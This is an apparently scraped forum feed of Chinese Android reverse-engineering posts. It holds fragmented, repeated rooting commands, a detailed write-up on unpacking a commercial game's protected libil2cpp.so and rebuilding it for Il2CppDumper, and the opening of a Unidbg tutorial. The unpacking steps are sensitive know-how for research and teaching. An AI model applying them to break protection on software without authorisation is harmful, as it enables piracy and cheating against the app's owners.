-
27700_
*
*
.img
\\n# 完成后重启
fastboot reboot
# 将修复的文件pull到电脑
adb pull
/
sdcard
/
magisk_patched
-
27700_
*
*
.img .
/
\\n# 使用命令或长按电源键+音量下键进入fastboot模式
adb reboot bootloader
# 使用命令查看设备链接状态
fastboot devices
# 刷入修补后的镜像
fastboot flash boot magisk_patched
-
27700_
*
*
.img
\\n# 完成后重启
fastboot reboot
# fastboot flash boot magisk_patched-27000_F7Tcr.img
Sending
\'boot_b\'
(
196608
KB) OKAY [
5.297s
]
\\nWriting
\'boot_b\'
OKAY [
0.690s
]
\\nFinished. Total time:
5.998s
\\n# fastboot reboot
Rebooting OKAY [
0.000s
]
\\nFinished. Total time:
0.001s
\\n# fastboot flash boot magisk_patched-27000_F7Tcr.img
Sending
\'boot_b\'
(
196608
KB) OKAY [
5.297s
]
\\nWriting
\'boot_b\'
OKAY [
0.690s
]
\\nFinished. Total time:
5.998s
\\n# fastboot reboot
Rebooting OKAY [
0.000s
]
\\nFinished. Total time:
0.001s
\\n# 将下载的LSPosed-v1.9.2-7024-zygisk-release.zip push到手机
adb push LSPosed
-
v1.
9.2
-
7024
-
zygisk
-
release.
zip
/
sdcard
/
Download
\\n# 使用magisk 模块-从本地安装-选择LSPosed-v1.9.2-7024-zygisk-release.zip,如下图
# 将下载的LSPosed-v1.9.2-7024-zygisk-release.zip push到手机
adb push LSPosed
-
v1.
9.2
-
7024
-
zygisk
-
release.
zip
/
sdcard
/
Download
\\n# 使用magisk 模块-从本地安装-选择LSPosed-v1.9.2-7024-zygisk-release.zip,如下图
# 如果手机区分A/B分区,后续刷机命令有区别
# 查询手机是否使用A/B分区,结果为true,即为A/B分区
adb shell getprop ro.build.ab_update
# 使用命令或长按电源键+音量下键进入fastboot模式
adb reboot bootloader
# 使用命令查看设备链接状态
fastboot devices
# 刷入修补后的镜像
fastboot flash boot magisk_patched-27700_**.img
# 完成后重启
fastboot reboot
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n\\n\\npackagename:Y29tLmhlcm8uc20uYW5kcm9pZC5oZXJv
\\n
聲明:本文內容僅供學習交流之用
很久之前看過乐佬的那篇「误入虎穴,喜得虎子——记一次手游加固的脱壳与修复」,寫得實在太好,奈何當時水平有限,看得兩眼一黑。
\\n最近重溫經典時發現兩眼不再發黑,於是打算好好復現一下,這才有了這篇文章。
\\n將libil2cpp.so
拉入IDA,直接報了一個錯,這時大概就可以知道這個so被動了手腳。
ctrl+s
沒有發現.init_array
,改為用readelf工具,發現.init_array
位於0x5953a50
但發現0x5953a50
根本無法被解析被函數,像是被加密的樣子。
理論上來說第一個.init_array
函數是無法被加密,因此這種情況大概率是IDA分析出了錯。
將shdr table置0,這樣IDA就會根據.dynamic來解析。
\\n
再次拉入IDA,這次init_array終於被正確解析了。
\\n
直接動調會發現一直觸發SIGCHILD
信號,然後crash。
解決方案是直接忽略SIGCHILD
信號:Debugger → Debugger options → Edit exceptions
注:每個init_array函數裡都有一堆花指令( junk_codeX
),可能會造成堆棧不平衡、無法F5的情況,使用IDA9.0可以無視這種情況,低版本( 7.7 )在動調1次後同樣可以無視這情況。
.init_array
的第1個函數主要在初始化一些全局變量,以及打開/proc/self/maps
做了一些檢查。
init_some_global_var
實現如下,全是一些賦值操作:
接著看看open_maps_and_do_some_check
。
一開始是一些字符串解密操作,解密後會得到\\"/proc/self/maps\\"
。
隨後便是fopen
+ fgets
+ sscanf
來遍歷/proc/self/maps
,整體邏輯大概只是在檢查libc.so是否有執行權限。
看到/proc/self/maps
本以為是一個檢測點,但實際上應該只是一些普通的安全檢查,防止程序崩潰之類的?
接下來分析.init_array
的第2個函數。
一開始調用了do_something1
,動調後發現它會先解密一段代碼,然後調用這段代碼( 同樣是一些全局變量的賦值操作 ),之後會把這段代碼加密回去。
然後調用get_dynamic
獲取.dynamic
段,為後面prelink_image
和decrypt_str_sym
做準備。
看看get_dynamic
的實現方式。
一開始的while循環並不會走,也看不懂在干什麼 ( 不重要 )
\\n
然後是解析elf header,獲取了e_phnum
、phdr table( 段表 )的起始位置等信息。
注:在分析時最好是動調配合010來看,能更好地弄清楚每個變量的含義。
\\n
然後會遍歷phdr table,*(_DWORD *)phdr
獲取的是phdr的p_type
成員,1
代表PT_LOAD
( 可加載的段 )。
這裡是在遍歷所有Loadable Segment,記錄第1個Loadable Segment的起始位置( 通常是0 )和最後一個Loadable Segment的結束位置。
\\n
最後才是獲取.dyncmic
段的邏輯,同樣是遍歷phdr table,但這次的目標是PT_DYNAMIC(2)
,保存在res[6]
中。
獲取完.dynamic
後,會調用prelink_image
。
進入prelink_image
後,會看到一大段switch…case
語句,看過Android源碼的會發現這與/bionic/linker/linker.cpp
裡的prelink_image
十分相似,做的事情也差不多,都是利用.dynamic
的信息來初始化si
( soinfo結構,用於表示一個內存中的so )。
這個加固的soinfo
結構是魔改的,嘗試直接導入oacia大佬這篇文章的soinfo結構會發現完全對不上,需要手動調整,下圖是我手動調整soinfo結構後的結果,雖然無法完全還原,但也勉強能用,看起來也方便一點。
最後的while
循環是在處理依據庫的部份,沒有仔細看,處理邏輯大概也與Android源碼差不多,會對每個依賴庫調用prelink_image
。
init_array_func2
最後會調用decrypt_str_sym
來解密字符串表和部份的符號表。
簡單分析後可以反推出decrypt_str_sym
每個參數的含義:
args[0]
:符號表起始地址args[1]
:待解密數據的起始offset( 相對符號表來說 )args[2]
:待解密數據的結束offset( 相對符號表來說 )args[3]
:字符串表args[4]
:字符串表大小然後可以選擇將解密後的數據dump下來回填到so中,或者手寫解密腳本進行解密。
\\n
這時再將解密後的so拉入IDA就能看到一些符號了,不再是一堆奇怪的字符串。
\\n
接下來分析.init_array
的第3個函數,它也調用了do_something1
,但進去沒走兩步就返回了。重點關注do_something2
。
do_something2
函數可以分成3大部份:
libil2cpp.so
)
init_func
和每個.init_array
函數
接下來重點看看第1部份加載子so的邏輯。
\\n加載子so的第一步是先解密子so的一些數據,在decrypt_phdr_loadable_seg
中分別調用了2次解密函數解密兩段不同的密文。
第1次調用解密函數解密出來的信息包含子so的phdr table、符號表、重定向表、dynamic表。而第2次調用解密函數解密出來的數據不太確定有什麼用,可能會跟後面提到的loadable_data1
有關。下面來具體看看這整個過程。
進入decrypt_phdr_loadable_seg
後,忽略一些不重要的部份,之後第一個遇到的函數是decrypt_something2
,這就是上面提到的解密函數。
進入decrypt_something2
可以看到明顯的RC4的特徵,而且是魔改過的RC4。具體的算法細節我沒有細看,我關注的是解密後的結果,因此選擇直接將解密後的數據dump下來。
args[0]
是密文、args[2]
用來存放解密後的明文、args[3]
是args[2]
的長度,將dump下來的文件名記為dec_data1
。
注:IDA Python dump memory script
\\n1 2 3 4 5 6 7 | import idaapi start = 0x7DF8080000 len = 0x3844AA0 data = idaapi.dbg_read_memory(start, len ) fp = open (r \'path\' , \'wb\' ) fp.write(data) fp.close() |
dump出來的dec_data1
如下:
一開始無法直接知道dec_data1
每部份的含義,我是由後續的分析反推出dec_data1
分成4個部份的。
調用decrypt_phdr_loadable_seg
解密完子so所需的數據後,會調用load_realso_PTLOAD
來加載子so的所有loadable段。
一開始會先保存殼so的phdr,然後獲取殼so的大小。
\\n
繼續向下看,看到56
這個數字可以大概猜到是在遍歷phdr table( 子so的phdr table ),而1
代表PT_LOAD
,因此這裡是在遍歷所有loadable的段,並計算段的映射地址和大小。
子so的phdr如下,複製前3行然後在dec_data1
裡搜,會發現與dec_data1
的前3行一樣,由此可知dec_data1
的第1部份是子so的phdr信息。
然後會調用mmap
將fd
的內容映射到子so的loadable段的內存起始地址,基址是殼so的起始地址,fd
是殼so的句柄。即最終是在殼so的基礎上進行修正,將殼so的某些位置修正為子so的代碼段和數據段。
然後調用mprotect
設置段的權限,調用memset
將段置為0xBB
。
之後調用的memcpy
才會真正將解密後子so的loadable段數據複製到對應的位置,然後會將多餘的內存空間置0
。
子so第1個loadable段如下,dump下來,記為loadable_data1
。
( loadable_data1
的頭4個字節7F B2 B3 0F
其實是代表子so的魔數,前0x40
字節是elf_header區域,接著的0x188
個字節是殼的phdr table區域,這兩部份數據沒有用,直接刪掉,後面提到的loadabe_data1
均不包含這兩部份 )
子so第2個loadable段如下,記為loadable_data2
。
子so總共只有這兩個loadable段,一個是代碼段、一個是數據段,可從子so的phdr table來區分哪個是代碼段或數據段。
\\n注:殼so的第1個loadable段的p_memsz
特意設置得很大,就是為了讓子so的loadable_data2
裝載於此。
最後會再調用一次mprotect
將段設置回原本的權限。
調用完load_realso_PTLOAD
裝載子so的loadable段後,會進行兩次的prelink_image。
第一次prelink_image用的.dynamic數據是殼so的,這是因為子so的一些基礎信息是依賴於殼so的。具體獲取.dynamic和prelink_image
的過程在上面已經分析了,就不再重複。
第二次調用prelink_image
用的.dynamic數據才是子so的。
複製第一行然後在dec_data1
裡搜,發現dec_data1
最後一部份就是子so的.dynamic。
子so完成兩次prelink_image後,會調用maybe_init_something
和decrypt_something3
,調了好幾遍都沒搞清楚這2個函數具體在干什麼,猜測大概與後面的do_relocate
有關。
接著調用do_relocate
進行重定向。
do_relocate
會根據rela
和plt_rela
的信息調用relocate
進行重定向,本例沒有plt_rela
,只需關注rela
即可。
在調用relocate
前先將rela dump下來,為後續修復so做準備。
注:dump下來的rela同樣可以在dec_data1
中搜到,起始位置為0x1700
。
簡單分析relocate
後會發現,它與Android源碼的relocate
其實大同小異。
簡單解釋下so重定向的原理。
\\n重定向表每個元素都是如下結構,r_info
的高4位代表sym
( 符號表索引 )、低4位代表type( 重定向類型 )。
1 2 3 4 5 | typedef struct elf64_rela { Elf64_Addr r_offset; Elf64_Xword r_info; Elf64_Sxword r_addend; } Elf64_Rela; |
個人總結出重定向大致可以分為2種情況:
\\nr_addend
不為0
的情況:base + r_offset = base + r_addend
下面藍框是一組真實數據:
\\n
最終重定向過程表現為:
\\n1 2 3 4 5 6 | /* r_offset: 0x5953A50 r_info: 0x403 (type: 0x403, sym: 0) r_addend: 0x58A1808 */ *(&base + 0x5953A50) = *(&base + 0x58A1808) |
r_addend
為0
的情況:base + r_offset = base + sym_addr
下面藍框是一組真實數據:
\\n
最終重定向過程表現為:
\\n1 2 3 4 5 6 7 | /* r_offset: 0x5958AA0 r_info: 0xE00000402 (type: 0x402, sym: 0xE) r_addend: 0 */ sym_addr = find_sym_addr(symtab[sym]) // sym是符號表的索引, symtab代指符號表, 不一定是.symtab *(&base + 0x5958AA0) = *(&base + sym_addr) |
relocate
中查找符號地址的過程如下:
sym
是符號表的索引,symtab_
是對應的符號表。st_name
,它是字符串表的索引。st_name
對應的字符串,傳入get_symbol
,其中會調用dlsym
來獲取符號地址。
symtab_
如下,同樣可以在dec_data1
中找到,這代表子so有自己的符號表( 這樣說是因為字符串表用的是殼so的 )。
至此可以總結出dec_data1
的分佈如下:
1 2 3 4 | phdr table ( 0x0 -> 0xE0 ) sym_table ( 0xE0 -> 0x1700 ) relocate ( 0x1700 -> 0x8BC070 ) dynamic ( 0x8BC070 -> end ) |
通過上述分析可以知道,子so的phdr table、符號表、重定向表、dynamic等信息只有在使用時才會從其他地方讀取來使用,因此整體dump so變得沒有太大意義。
\\n而子so與殼so會共用一些基礎信息,因此不能單單重建子so,而是要在殼so的基礎上修正成子so。
\\n注:使用解密字符串表、符號表後的殼so作為外殼,該外殼記為libil2cpp_str_sym.so
。
以下提取的數據也是從libil2cpp_str_sym.so
中提取。
提取libil2cpp_str_sym.so
的符號表,記為orig_sym
。
提取libil2cpp_str_sym.so
的重定向表,記為orig_rela
。
rela
、sym
是從dec_data1
中提取出來子so的重定向表和符號表,loadable_data1
、loadable_data2
是子so的2個可加載段。
至於子so的phdr table和dynamic,要用時再直接從dec_data1
中複製即可。
重定向表依賴於符號表,而現在殼so和子so分別有自己的符號表和重定向表,若直接將子so的符號表覆蓋到殼so上,可能會有問題。
\\n我的想法是將子so的符號表與殼so的符號表合併( 順序是殼 → 子 ),然後修改子so重定向表的符號索引。
\\n腳本如下:修改後的子so重定向表記為rela_modify
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | rela_size = 0x18 orig_sym_num = 0xFD50 / / 0x18 with open ( \\"./rela\\" , mode = \\"rb\\" ) as f: data = bytearray(f.read()) for i in range ( 0 , len (data), rela_size): type = int .from_bytes(data[i + 8 : i + 12 ], byteorder = \\"little\\" ) sym = int .from_bytes(data[i + 12 : i + 16 ], byteorder = \\"little\\" ) if sym: data[i + 12 : i + 16 ] = bytearray( int .to_bytes(sym + orig_sym_num, 4 , byteorder = \\"little\\" )) with open ( \\"./rela_modify\\" , mode = \\"wb\\" ) as f2: f2.write(data) |
合併orig_sym
和sym
,記為merge_sym
合併orig_rela
和rela_modify
,記為merge_rela
複製loadable_data1
,取代由0x1C8
開始的密文。
取代前:
\\n
取代後:
\\n
將merge_sym
放在( 取代 )libil2cpp_str_sym.so
最後一個loadable段之後的空間( 這裡通常是文件末了 )。
取代前:
\\n
取代後:
\\n
緊接著merge_sym
後面再插入merge_rela
:
緊接著merge_rela
後面插入loadable_data2
:
接下來修改phdr table。
\\n從dec_data1
複製loadable_data2
對應的phdr。
取代libil2cpp_str_sym.so
最後一個phdr,取代後可以看到該段的屬性是RW,即loadable_data2
是數據段。將p_offset
修改成loadable_data2
的文件偏移。
其p_vaddr
是0x2E54000
,先記著這個值。
修改第1個phdr,它原本的p_memsz
是0x5825000
,改成0x2E54000
再回到最後一個phdr,修改p_memsz
為0x5825000
- 0x2E54000
= 0x29D1000
。
上面在libil2cpp_str_sym.so
最後一個loadable段後面插入了merge_sym
和merge_rela
,因此要修改該段對應的phdr中的p_filesz
和p_memsz
。
接下來修改.dynamic的信息,包括:
\\nDT_SYMTAB(0x6)
DT_RELA(0x7)
DT_RELASZ(0x8)
DT_INIT_ARRAY(0x19)
DT_INIT_ARRAYSZ(0x1B)
DT_FINI_ARRAY(0x1A)
DT_FINI_ARRAYSZ(0x1C)
修改後如下,順帶將init_array的數量加1、fini_array起始位置加8、fini_array的數量減1,因為之後要將殼so的第1個init_array函數插入( 該函數初始化了一些全局變量,子so也需要 )。
\\n
本例的子so中,有個init_array函數是空的( 位於0x2E54160
),在010中搜60 41 E5 02
會發現找不到關於0x2E54160
位置的重定向信息。
搜68 41 E5 02
,定位到原fini_array[0]
的重定向信息。
將其offset改成0x2E54160
、addend改成0x58A1808
( 殼so的第1個init_array函數 )。
注:其實是可以直接添加多一條重定向記錄的。
\\n最後添加3個必須的section:.dynstr
、.dynamic
、.shstrtab
然後修正elf_header:
\\n
嘗試將修復後的so替換APP原本的libil2cpp.so
,發現會閃退,大概是上面某一步出了問題。
找到加載global-metadata.dat
的地方,dump下來。
前幾個字節被抹去了,手動修復一下。
\\n
最後成功使用Il2CppDumper dump出關鍵信息。
\\n
總的來說,分析的過程是比較順利的( 畢竟站在了巨人的肩膀上 ),但so修復卻簡直是一波十三折,遇到大大小小各種的坑,每天都在放棄的邊緣掙扎。最終修復的so雖然無法替換原so,但起碼能用於Il2CppDumper,也算是達到逆向的目的了吧。
\\n最後,祝各位新年快樂,願每個逆向路上的同路人都能順順利利吧^^
\\n[招生]系统0day安全班,企业级设备固件漏洞挖掘,Linux平台漏洞挖掘!
\\n\\n\\n\\n\\n\\n\\n\\n","description":"packagename:Y29tLmhlcm8uc20uYW5kcm9pZC5oZXJv 聲明:本文內容僅供學習交流之用\\n\\n前言\\n\\n很久之前看過乐佬的那篇「误入虎穴,喜得虎子——记一次手游加固的脱壳与修复」,寫得實在太好,奈何當時水平有限,看得兩眼一黑。\\n\\n最近重溫經典時發現兩眼不再發黑,於是打算好好復現一下,這才有了這篇文章。\\n\\n壞掉的libil2cpp.so\\n\\n將libil2cpp.so拉入IDA,直接報了一個錯,這時大概就可以知道這個so被動了手腳。\\n\\nctrl+s沒有發現.init_array,改為用readelf工具,發現.init_array位…","guid":"https://bbs.kanxue.com/thread-285110.htm","author":null,"authorUrl":null,"authorAvatar":null,"publishedAt":"2025-01-03T16:06:50.212Z","media":[{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_TR8RUHC79S4ZD9S.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_SHAWKB9ZKTZMHSA.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_66KQ44X64A5P5MY.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_WBCA7WSF4X7NE9Y.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_CQEYN5PEMWGEF7S.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_YR6GKTNC7S4SJ8B.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_JM5NYQBUJF3P4SN.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_AHKKTCDECXU8A9Z.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_RNSXZ5MJ7KST6V2.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_W4SUDJW9ZHZM5VW.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_R94CD7X88NX8DZ7.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_YR34M3HEWRJ8QU4.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_29KFFV4DKSXRJ2V.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_JYEQX8JF6NNDGAM.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_5YFSG9BW6GGAB6F.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_Y9HMT52V6YN6X2U.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_NKVJ55R55MHY9SY.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_ZTS5TQV3BWND6KD.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_CN66U6E4NH5MUPJ.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_US4K6ASFWYDNA43.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_Z54NMXQHPYA77XG.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_NNVCMB4CWYVCC22.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_7QQA4SQGYAEBDFT.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_EDS3Q9PVJGPZZJT.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_6S9U6S4HEWRKCB9.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_83MUFPBFCYP72EP.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_XCBNWVQAMJUX9X5.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_ADRHH8H9T3HMQTK.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_24RCMCTYDSCZAJR.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_MXSC383VSRM3BV4.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_NFY6DBU4ZDXQVXU.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_2EZKT9PZ49YFEKJ.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_87T739DQTDZ5ZT3.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_BAUAVNPV5Q6CW63.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_EC3RBGXBHXXS6WF.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_QFJPVQD9YTC6FFU.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_ZB8QJPTR3AM4WE3.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_EGFQTS7J48THZGY.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_MSVHYCXV6J9XAV9.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_T5AUTGZKH3Y4QXW.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_YBBYQH65ARPHFBE.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_FPD5RT2S2N98GCT.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_GCCG86YF89WUXKN.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_HV5ANUAK66ET2EQ.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_V2QEAJX6AAB2F6E.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_67D8FN7CQQ59BFK.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_F84YM6WSMJUYBBD.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_7UNRXQ9Y8SZS486.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_QQB53AGYUHGB25Y.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_FKPHNHZBKQNTBT7.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_DU8HQTS7UAJXWTB.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_E8MP3RHVCGUXCK9.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_VDY42EWB8P9CRCA.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_S9U8THK8Y6NPV44.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_QC9RWZHA3B2JYTE.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_FCEWTFYG48WKH8P.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_XNFWHCE74QQWG45.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_CVXRS262266GGH8.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_JFB9KSZN4Z975YB.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_3RGTNP9A6FKDD9B.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_GMBWFXB3GCXZ739.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_3WESKN6VAFMCZWN.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_3AA4S4PAK9S8TJS.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_MFESYXYK4E8PPDP.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_W8VHGW6MEKWA8BP.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_9RJZVZZM6W3SNCD.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_UKRJYF6YASVK6T6.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_QU7BQK5J42DQRBE.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_2SQS28MT4J33KTY.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_YG53XWPRJQ8N6VG.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_WGUA5W6GH8BCG45.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_FPFWB6XQM2MP7RQ.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_DUWMG8Y3K8PBYKJ.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_6N6RUE64V99QFYQ.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_3KR2S6FGFJ2ZBVE.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_HHKKRFZXS6VAM2A.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_9F7NGE4XVQEK4R6.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_BSSR9JSNYGBGCQC.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_5ZBZBAEG3VN8U7U.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_ZRSU4AU4ZS5ZPQ4.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_G8X2Z2AYRF7MTCX.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_UUQMMW2KCF3JRS5.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_T44AGJXFSPHJT96.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_58ER8W59VURPR34.webp","type":"photo","width":0,"height":0,"blurhash":""},{"url":"https://bbs.kanxue.com/upload/attach/202501/946537_YW79DG57URGSX2A.webp","type":"photo","width":0,"height":0,"blurhash":""}],"categories":null,"attachments":null,"extra":null,"language":null},{"title":"《安卓逆向这档事》第二十三课、黑盒魔法之Unidbg","url":"https://bbs.kanxue.com/thread-285073.htm","content":"\\n\\n1.了解unicorn与unidbg
2.源码学习unidbg的常用api
3.了解unidbg_hook
4.了解unidbg_patch
1.教程Demo
2.IDEA
3.IDA
开源地址
Unicorn 是一个由新加坡南洋理工大学团队在2015年开源的CPU模拟器框架,它支持多种架构,包括X86/X64/ARM/ARM64/MIPS等。Unicorn 的主要特点是:
开源地址
Unidbg(Unicorn Debugger)是一个开源的轻量级模拟器,主要设计用于模拟执行Android平台上的Native代码。它由凯神在2019年开源,基于Maven构建,使用Java语言编写,可以在IDE中打开和运行。Unidbg能够模拟Android Native函数的执行,让逆向工程师和安全研究人员能够分析和理解二进制文件的运行行为。它支持模拟系统调用和JNI调用,使得可以在模拟环境中执行依赖这些调用的代码。Unidbg基于Unicorn项目,Unidbg的优势在于它提供了一种隐蔽的监控手段,可以模拟复杂的Native环境,帮助用户进行深入的动态分析。由于其开源特性,Unidbg得到了社区的广泛支持和持续更新,成为了Android Native逆向分析领域中一个强有力的工具。
竞争者: AndroidNativeEmu 和继任者 ExAndroidNativeEmu (Unidbg优点:模拟实现了更多的系统调用和 JNI)
1.下载idea
社区版下载链接
2.下载源代码,并用idea打开,并配置好sdk
3.文件结构解析:
23 和 19 分别对应于 sdk23(Android 6.0) 和 sdk19(Android 4.4)的运行库环境,处理 64 位 SO 时只能选择 SDK23。
基本类型直接传递,int、long、boolean、double 等。
对于其他数据类型需要借助resolveClass
构造,例如Context
符号调用
偏移调用
1.获取 HookZz 实例:
2.wrap_hook函数:
wrap
